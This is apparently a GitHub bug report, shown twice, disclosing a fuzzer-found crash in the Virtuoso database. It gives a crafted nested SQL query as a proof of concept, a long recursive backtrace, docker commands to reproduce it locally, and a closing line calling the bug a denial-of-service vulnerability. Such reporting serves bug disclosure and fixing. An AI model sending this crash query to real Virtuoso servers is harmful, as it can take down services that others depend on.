Fuzzer: Virtuoso 7.2.12 crashed at `dfe_unit_col_loci`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT DISTINCT * FROM SYS_KEY_COLUMNS ORDER BY ( SELECT CASE WHEN x THEN ( ROUND ( 1 / 1048576 , ( SELECT ( - ( CASE WHEN x THEN CASE WHEN x THEN ( SELECT ( 'x' / 1.000000 ) , ( SELECT ( 'x' / 1.000000 ) , x ) ) END END ) ) ) ) ) END FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 1 END x ) x );
```

backtrace:
```c
#0 0x6e4241 (sql_tree_hash_1+0x1)
#1 0x6e453f (sql_tree_hash_1+0x2ff)
#2 0x6e45f8 (sql_tree_hash_1+0x3b8)
#3 0x6e45f8 (sql_tree_hash_1+0x3b8)
#4 0x6e453f (sql_tree_hash_1+0x2ff)
#5 0x6e4823 (sqlo_df_elt+0x33)
#6 0x74176d (dfe_unit_col_loci+0xed)
#7 0x741725 (dfe_unit_col_loci+0xa5)
#8 0x741ef1 (dfe_unit_col_loci+0x871)
#9 0x741725 (dfe_unit_col_loci+0xa5)
#10 0x741ef1 (dfe_unit_col_loci+0x871)
#11 0x7419b3 (dfe_unit_col_loci+0x333)
#12 0x742790 (dfe_unit_col_loci+0x1110)
#13 0x741725 (dfe_unit_col_loci+0xa5)
#14 0x741ef1 (dfe_unit_col_loci+0x871)
#15 0x741725 (dfe_unit_col_loci+0xa5)
...
#3822 0x742790 (dfe_unit_col_loci+0x1110)
#3823 0x741725 (dfe_unit_col_loci+0xa5)
#3824 0x741ef1 (dfe_unit_col_loci+0x871)
#3825 0x741725 (dfe_unit_col_loci+0xa5)
#3826 0x741ef1 (dfe_unit_col_loci+0x871)
#3827 0x741725 (dfe_unit_col_loci+0xa5)
#3828 0x741ef1 (dfe_unit_col_loci+0x871)
#3829 0x742790 (dfe_unit_col_loci+0x1110)
#3830 0x742790 (dfe_unit_col_loci+0x1110)
#3831 0x751c0c (sqlg_top_1+0x7c)
#3832 0x716074 (sqlo_top_select+0x164)
#3833 0x6bf21b (sql_stmt_comp+0x8bb)
#3834 0x6c20b2 (sql_compile_1+0x1a62)
#3835 0x7d5b40 (stmt_set_query+0x340)
#3836 0x7d7a32 (sf_sql_execute+0x922)
#3837 0x7d8dbe (sf_sql_execute_w+0x17e)
#3838 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#3839 0xe2a11c (future_wrapper+0x3fc)
#3840 0xe31a1e (_thread_boot+0x11e)
#3841 0x7f7617707609 (start_thread+0xd9)
#3842 0x7f76174d7353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```


Fuzzer: Virtuoso 7.2.12 crashed at `dfe_unit_col_loci`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.12 crashed at `dfe_unit_col_loci`
Issue date:

--- start body ---
Fuzzer: Virtuoso 7.2.12 crashed at `dfe_unit_col_loci`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT DISTINCT * FROM SYS_KEY_COLUMNS ORDER BY ( SELECT CASE WHEN x THEN ( ROUND ( 1 / 1048576 , ( SELECT ( - ( CASE WHEN x THEN CASE WHEN x THEN ( SELECT ( 'x' / 1.000000 ) , ( SELECT ( 'x' / 1.000000 ) , x ) ) END END ) ) ) ) ) END FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 1 END x ) x );
```

backtrace:
```c
#0 0x6e4241 (sql_tree_hash_1+0x1)
#1 0x6e453f (sql_tree_hash_1+0x2ff)
#2 0x6e45f8 (sql_tree_hash_1+0x3b8)
#3 0x6e45f8 (sql_tree_hash_1+0x3b8)
#4 0x6e453f (sql_tree_hash_1+0x2ff)
#5 0x6e4823 (sqlo_df_elt+0x33)
#6 0x74176d (dfe_unit_col_loci+0xed)
#7 0x741725 (dfe_unit_col_loci+0xa5)
#8 0x741ef1 (dfe_unit_col_loci+0x871)
#9 0x741725 (dfe_unit_col_loci+0xa5)
#10 0x741ef1 (dfe_unit_col_loci+0x871)
#11 0x7419b3 (dfe_unit_col_loci+0x333)
#12 0x742790 (dfe_unit_col_loci+0x1110)
#13 0x741725 (dfe_unit_col_loci+0xa5)
#14 0x741ef1 (dfe_unit_col_loci+0x871)
#15 0x741725 (dfe_unit_col_loci+0xa5)
...
#3822 0x742790 (dfe_unit_col_loci+0x1110)
#3823 0x741725 (dfe_unit_col_loci+0xa5)
#3824 0x741ef1 (dfe_unit_col_loci+0x871)
#3825 0x741725 (dfe_unit_col_loci+0xa5)
#3826 0x741ef1 (dfe_unit_col_loci+0x871)
#3827 0x741725 (dfe_unit_col_loci+0xa5)
#3828 0x741ef1 (dfe_unit_col_loci+0x871)
#3829 0x742790 (dfe_unit_col_loci+0x1110)
#3830 0x742790 (dfe_unit_col_loci+0x1110)
#3831 0x751c0c (sqlg_top_1+0x7c)
#3832 0x716074 (sqlo_top_select+0x164)
#3833 0x6bf21b (sql_stmt_comp+0x8bb)
#3834 0x6c20b2 (sql_compile_1+0x1a62)
#3835 0x7d5b40 (stmt_set_query+0x340)
#3836 0x7d7a32 (sf_sql_execute+0x922)
#3837 0x7d8dbe (sf_sql_execute_w+0x17e)
#3838 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#3839 0xe2a11c (future_wrapper+0x3fc)
#3840 0xe31a1e (_thread_boot+0x11e)
#3841 0x7f7617707609 (start_thread+0xd9)
#3842 0x7f76174d7353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```


--- end body ---

A segmentation fault in Virtuoso 7.2.12 and 7.2.13-dev.3239-pthreads occurs when executing a complex SQL query involving nested SELECT statements. This vulnerability can be exploited to cause a Denial of Service (DoS) by crashing the Virtuoso server.